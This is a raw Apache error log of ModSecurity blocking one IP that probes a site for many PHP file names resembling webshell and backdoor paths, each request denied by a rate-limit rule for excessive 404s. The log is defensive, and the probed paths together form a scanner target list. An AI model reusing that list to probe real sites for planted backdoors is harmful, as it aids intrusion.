[Fri Jan 02 20:29:25.016781 2026] [:error] [pid 29316:tid 29328] [client 4.189.161.129:57743] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVe6JdfT9ty-7jZmgf-mxwAAAQo"]
[Fri Jan 02 20:29:25.711923 2026] [:error] [pid 43358:tid 43380] [client 4.189.161.129:60664] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aVe6JQncbHK9auzvrA9QxQAAAdQ"]
[Fri Jan 02 20:29:26.327413 2026] [:error] [pid 63098:tid 63115] [client 4.189.161.129:45589] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aVe6Jsez9k78gUs48kpSvQAAAAg"]
[Fri Jan 02 20:29:26.688310 2026] [:error] [pid 50186:tid 50195] [client 4.189.161.129:46883] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aVe6JlXqK_iX4f-S70JtXQAAAYc"]
[Fri Jan 02 20:29:27.303134 2026] [:error] [pid 63098:tid 63124] [client 4.189.161.129:45575] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aVe6J8ez9k78gUs48kpSvwAAABE"]
[Fri Jan 02 20:29:28.265518 2026] [:error] [pid 50186:tid 50210] [client 4.189.161.129:57742] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aVe6KFXqK_iX4f-S70JtXgAAAZY"]
[Fri Jan 02 20:29:29.042280 2026] [:error] [pid 50046:tid 50057] [client 4.189.161.129:45584] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aVe6KSzv7fgIiwkQYNCoawAAAUk"]
[Fri Jan 02 20:29:29.458632 2026] [:error] [pid 50186:tid 50211] [client 4.189.161.129:46868] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aVe6KVXqK_iX4f-S70JtYQAAAZc"]
[Fri Jan 02 20:29:30.167113 2026] [:error] [pid 63099:tid 63139] [client 4.189.161.129:57756] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aVe6KsmCZokRPYUhzvi3KgAAAEU"]
[Fri Jan 02 20:29:30.687602 2026] [:error] [pid 63208:tid 63225] [client 4.189.161.129:45630] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "aVe6KnKLI9INGPLzfndBtQAAAM4"]
[Fri Jan 02 20:29:31.060658 2026] [:error] [pid 29316:tid 29326] [client 4.189.161.129:46863] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "aVe6K9fT9ty-7jZmgf-myAAAAQg"]
[Fri Jan 02 20:29:31.454606 2026] [:error] [pid 43358:tid 43361] [client 4.189.161.129:57773] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "aVe6KwncbHK9auzvrA9QxgAAAcE"]
[Fri Jan 02 20:29:32.359617 2026] [:error] [pid 63098:tid 63125] [client 4.189.161.129:57782] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "aVe6LMez9k78gUs48kpSwQAAABI"]
[Fri Jan 02 20:29:32.970137 2026] [:error] [pid 63098:tid 63112] [client 4.189.161.129:60617] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aVe6LMez9k78gUs48kpSwgAAAAU"]
[Fri Jan 02 20:29:33.953654 2026] [:error] [pid 29316:tid 29332] [client 4.189.161.129:60657] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aVe6LdfT9ty-7jZmgf-mywAAAQ4"]
[Fri Jan 02 20:29:34.429986 2026] [:error] [pid 50186:tid 50193] [client 4.189.161.129:57748] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aVe6LlXqK_iX4f-S70JtZAAAAYU"]
[Fri Jan 02 20:29:35.358424 2026] [:error] [pid 63098:tid 63118] [client 4.189.161.129:46872] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aVe6L8ez9k78gUs48kpSxgAAAAs"]
[Fri Jan 02 20:29:36.022736 2026] [:error] [pid 63098:tid 63131] [client 4.189.161.129:46874] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aVe6MMez9k78gUs48kpSyAAAABg"]
[Fri Jan 02 20:29:36.752390 2026] [:error] [pid 43358:tid 43372] [client 4.189.161.129:17436] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aVe6MAncbHK9auzvrA9QygAAAcw"]
[Fri Jan 02 20:29:37.564527 2026] [:error] [pid 50046:tid 50050] [client 4.189.161.129:45574] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aVe6MSzv7fgIiwkQYNCobwAAAUI"]
[Fri Jan 02 20:29:37.891753 2026] [:error] [pid 63098:tid 63107] [client 4.189.161.129:57734] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aVe6Mcez9k78gUs48kpSywAAAAA"]
[Fri Jan 02 20:29:38.507055 2026] [:error] [pid 50046:tid 50070] [client 4.189.161.129:57758] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aVe6Mizv7fgIiwkQYNCocAAAAVY"]
[Fri Jan 02 20:29:39.055760 2026] [:error] [pid 63098:tid 63115] [client 4.189.161.129:57766] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aVe6M8ez9k78gUs48kpSzgAAAAg"]
[Fri Jan 02 20:29:39.869634 2026] [:error] [pid 63098:tid 63108] [client 4.189.161.129:60660] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aVe6M8ez9k78gUs48kpSzwAAAAE"]
[Fri Jan 02 20:29:41.064349 2026] [:error] [pid 63099:tid 63148] [client 4.189.161.129:46889] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aVe6NcmCZokRPYUhzvi3LgAAAE4"]
[Fri Jan 02 20:29:42.207794 2026] [:error] [pid 50046:tid 50067] [client 4.189.161.129:46903] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/build.php"] [unique_id "aVe6Nizv7fgIiwkQYNCocwAAAVM"]
[Fri Jan 02 20:29:42.795962 2026] [:error] [pid 63208:tid 63226] [client 4.189.161.129:45580] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/build.php"] [unique_id "aVe6NnKLI9INGPLzfndBuAAAAM8"]
[Fri Jan 02 20:30:41.644564 2026] [:error] [pid 50186:tid 50208] [client 4.189.161.129:46901] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mnkalo.php"] [unique_id "aVe6cVXqK_iX4f-S70JtwwAAAZQ"]
[Fri Jan 02 20:30:42.009827 2026] [:error] [pid 50046:tid 50052] [client 4.189.161.129:60613] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mnkalo.php"] [unique_id "aVe6cizv7fgIiwkQYNComQAAAUQ"]
[Fri Jan 02 20:30:42.341833 2026] [:error] [pid 50186:tid 50197] [client 4.189.161.129:46864] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mnkalo.php"] [unique_id "aVe6clXqK_iX4f-S70JtxAAAAYk"]
[Fri Jan 02 20:30:42.829941 2026] [:error] [pid 50186:tid 50190] [client 4.189.161.129:60663] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mnkalo.php"] [unique_id "aVe6clXqK_iX4f-S70JtxgAAAYI"]
[Fri Jan 02 20:30:43.165834 2026] [:error] [pid 63099:tid 63156] [client 4.189.161.129:46853] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aVe6c8mCZokRPYUhzvi3VAAAAFY"]
[Fri Jan 02 20:30:43.724732 2026] [:error] [pid 50046:tid 50062] [client 4.189.161.129:57761] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aVe6cyzv7fgIiwkQYNComwAAAU4"]
[Fri Jan 02 20:30:44.151491 2026] [:error] [pid 50046:tid 50065] [client 4.189.161.129:60625] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aVe6dCzv7fgIiwkQYNConQAAAVE"]
[Fri Jan 02 20:30:44.806898 2026] [:error] [pid 63100:tid 63184] [client 4.189.161.129:57749] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aVe6dDuUXUKd3KTnKl9ItQAAAJc"]
[Fri Jan 02 20:30:45.174021 2026] [:error] [pid 63100:tid 63165] [client 4.189.161.129:46898] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd67.php"] [unique_id "aVe6dTuUXUKd3KTnKl9ItwAAAIQ"]
[Fri Jan 02 20:30:45.487786 2026] [:error] [pid 50046:tid 50048] [client 4.189.161.129:46862] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd67.php"] [unique_id "aVe6dSzv7fgIiwkQYNCooQAAAUA"]
[Fri Jan 02 20:30:45.997046 2026] [:error] [pid 63098:tid 63122] [client 4.189.161.129:57765] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd67.php"] [unique_id "aVe6dcez9k78gUs48kpTCAAAAA8"]
[Fri Jan 02 20:30:46.466978 2026] [:error] [pid 63098:tid 63127] [client 4.189.161.129:17411] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd67.php"] [unique_id "aVe6dsez9k78gUs48kpTCQAAABQ"]
[Fri Jan 02 20:30:46.938961 2026] [:error] [pid 63098:tid 63112] [client 4.189.161.129:45606] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aVe6dsez9k78gUs48kpTCwAAAAU"]
[Fri Jan 02 20:30:47.484764 2026] [:error] [pid 50186:tid 50206] [client 4.189.161.129:46875] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aVe6d1XqK_iX4f-S70JtyQAAAZI"]
[Fri Jan 02 20:30:48.189170 2026] [:error] [pid 50186:tid 50198] [client 4.189.161.129:57732] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aVe6eFXqK_iX4f-S70JtygAAAYo"]
[Fri Jan 02 20:30:48.977723 2026] [:error] [pid 50046:tid 50054] [client 4.189.161.129:46892] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aVe6eCzv7fgIiwkQYNCopgAAAUY"]
[Fri Jan 02 20:30:50.016376 2026] [:error] [pid 50186:tid 50201] [client 4.189.161.129:45620] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a.php"] [unique_id "aVe6elXqK_iX4f-S70JtywAAAY0"]
[Fri Jan 02 20:30:50.873935 2026] [:error] [pid 63208:tid 63216] [client 4.189.161.129:45572] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a.php"] [unique_id "aVe6enKLI9INGPLzfndCAgAAAMU"]
[Fri Jan 02 20:30:51.417348 2026] [:error] [pid 43358:tid 43378] [client 4.189.161.129:45601] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a.php"] [unique_id "aVe6ewncbHK9auzvrA9Q5gAAAdI"]
[Fri Jan 02 20:30:51.786664 2026] [:error] [pid 63208:tid 63235] [client 4.189.161.129:45616] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a.php"] [unique_id "aVe6e3KLI9INGPLzfndCBgAAANg"]
[Fri Jan 02 20:30:52.514610 2026] [:error] [pid 50186:tid 50191] [client 4.189.161.129:17444] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aVe6fFXqK_iX4f-S70JtzgAAAYM"]
[Fri Jan 02 20:30:53.162003 2026] [:error] [pid 43358:tid 43377] [client 4.189.161.129:57784] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aVe6fQncbHK9auzvrA9Q5wAAAdE"]
[Fri Jan 02 20:30:53.945634 2026] [:error] [pid 63099:tid 63138] [client 4.189.161.129:46911] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aVe6fcmCZokRPYUhzvi3WAAAAEQ"]
[Fri Jan 02 20:30:54.965268 2026] [:error] [pid 63098:tid 63129] [client 4.189.161.129:46857] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aVe6fsez9k78gUs48kpTIwAAABY"]
[Fri Jan 02 20:30:55.595714 2026] [:error] [pid 63100:tid 63171] [client 4.189.161.129:45593] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aVe6fzuUXUKd3KTnKl9IuAAAAIo"]
[Fri Jan 02 20:30:56.495180 2026] [:error] [pid 29316:tid 29336] [client 4.189.161.129:60659] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aVe6gNfT9ty-7jZmgf-naAAAARI"]
[Fri Jan 02 20:30:57.000058 2026] [:error] [pid 63100:tid 63161] [client 4.189.161.129:46881] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aVe6gDuUXUKd3KTnKl9IuQAAAIA"]
[Fri Jan 02 20:30:57.702496 2026] [:error] [pid 63098:tid 63123] [client 4.189.161.129:46854] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aVe6gcez9k78gUs48kpTJgAAABA"]
[Fri Jan 02 20:30:58.550105 2026] [:error] [pid 63099:tid 63157] [client 4.189.161.129:45577] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aVe6gsmCZokRPYUhzvi3XgAAAFc"]
